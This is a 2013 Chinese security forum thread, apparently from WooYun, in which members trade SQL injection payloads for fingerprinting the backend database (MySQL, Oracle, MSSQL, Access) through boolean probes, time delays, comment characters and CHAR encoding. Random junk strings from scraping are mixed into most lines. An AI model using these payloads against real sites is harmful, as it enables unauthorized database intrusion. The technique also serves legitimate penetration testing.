一个注射点如何最快速确认是什么类型数据库
2 y1 ?' l' N: c, S. } t. hxsser (十根阳具有长短!!) | 2013-02-05 12:36$ e. S- s- t1 G' s1 b% w
假设这么一个注射点:
& K' g4 s. u0 b3 Y% Lshow.html?id=2) `. A9 z1 p" t9 }0 I A
mysql:id=2 and version()>0& v$ O( ]9 @+ j
oracle:id=2 and '1'||'1'='119 s7 a+ X+ r* q: L) d# \
其他的欢迎补充/ Z' z3 Y1 l3 M; {! |2 r) \
1#3 `, N2 L9 p# |/ C8 }
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47) m/ q% m1 O% W) m
Access:- x1 ]$ w( B. w8 {
aNd aSc(cHr(97))=97- h1 q1 z& k4 M% O$ c5 }1 w
and exists(select id from MSysAccessObjects)
" n+ D4 `4 k! _3 hSQL Server:
3 [+ U: Y9 ?! j- Z2 z, Kand exists(select id from sysobjects)9 }; e$ \0 [* O/ [0 @! r8 w2 S: Z
and length(user)>0, x. H7 c. ]9 K- M- l
MySQL:
& c! f, `4 D9 y7 ?/ l& Qand length(user())>0
1 J+ r6 L* I, g8 t! a, c% L2#
7 `6 x$ x7 ~9 P& ~/ p, \0 A) a( pxsser (十根阳具有长短!!) | 2013-02-05 12:48
5 H# Y" a6 j! I@upload 如果这些都不是呢…6 h7 i, j3 ]3 f# l
3## z! U" z' U9 p4 t6 W" ^9 g. M# i: |
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03& l. { w/ F# Y3 B
@xsser 不快速的,延时注入, ]- I4 @8 i/ u( p3 P7 o
不知道这样写对不对
" c5 q7 O9 {4 A) Hmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
* j4 U0 e; L6 Kmysql:id=2 and select benchmark(1e8,current_date());
: R; }0 C, s1 { j8 S, S: o4#
, |1 Y$ u7 s# E+ @upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
+ H/ c4 _% L1 G1 U6 E" O; ~最快的貌似是看报错信息7 H4 x. z# z7 N! e4 t1 {
oracle error0 ]( m( r, I( }$ J/ G* N
mssql error: v9 S0 @9 }& E- b7 p- q
mysql error* N5 L" u, ~8 R: L4 \7 j! N
5## f; q1 a; t5 n4 O7 E( n
Nimda (你们都是坏银~) | 2013-02-05 13:14/ g+ T7 U1 v, \; j& i
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)1 I& S7 e: C$ p8 b' k9 e
6#
* O) c' ^% |+ f) c7 |; pupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
" t7 d y) y4 b“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:$ t9 d, c. v$ D" y
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
' d; w* g" V) Z8 i$ z. h" a% c“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。! ?+ P: Z9 _9 d9 F
7#
, l3 e" k. t- B- ^ R: L# ^_Evil (HackEnd) | 2013-02-05 13:33& E X2 _7 o# X! t
PostgreSQL% P2 H& x# F p; e
8#+ @, T& l! X/ ~; i* G
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42; K; e( _ f( G5 t1 J: t- n1 s
切换编码 and 1=13 t: M. }4 }' H; G
oracle: c# J' j3 _4 r5 x- V7 x
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)- s1 q: I5 N w+ x/ ]! _0 H
mssql:! `1 G. p" U4 L; ~! o4 Q
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)4 k9 u" `7 z- Z# c7 K
mysql:
! K* ?% r& t4 X- t9 \4 vCHAR(97, 110, 100, 32, 49, 61, 49)
+ ~ W8 K3 y9 b3 _9#7 b' | H P" {& I5 O
xsser (十根阳具有长短!!) | 2013-02-05 14:31
. H+ ~/ Y4 @: X$ a2 |@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?" W! b, a9 p. ] O7 I2 g( x1 o8 ]( b
10#/ c1 s* t {& U' Z7 p
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
7 P$ Z- l7 }2 O0 {@xsser 是奇葩数据库类型的么?
$ s4 }; C" s" h* m根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:! [% `$ Z; f" s# O0 Y- y
1.是否可以使用特定的函数来判断,该数据库特有的
1 E: P3 C+ R, T, k7 `2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等7 K5 [+ \# Y. d5 I4 h9 J1 m% H
3.是否可以编码查询1 q% G/ H' p. ?* w/ Z# P
4.是否显可以利用错信息
1 F7 K1 a0 Y3 q/ P5.是否存在数据库某些特性辅助判断
6 c6 [3 X( O. F6 C* U' v个人见解; X6 q7 Y! |$ h8 Z( l4 {+ n' D
11#+ s4 H# _3 ]1 i
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
9 }% f/ L; w5 [% i已收藏,mssql可以直接看到错误提示的吧~
( Q" ]' F8 S8 f* Z% Q# V12#7 E! `- D9 O3 r5 _" `8 o& A
Passer_by | 2013-02-05 15:09
- l+ c0 B/ Z8 {, K5 L' D曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
% n2 W" e6 U6 G4 f, j0 k" L% l# ~from:http://zone.wooyun.org/content/260 |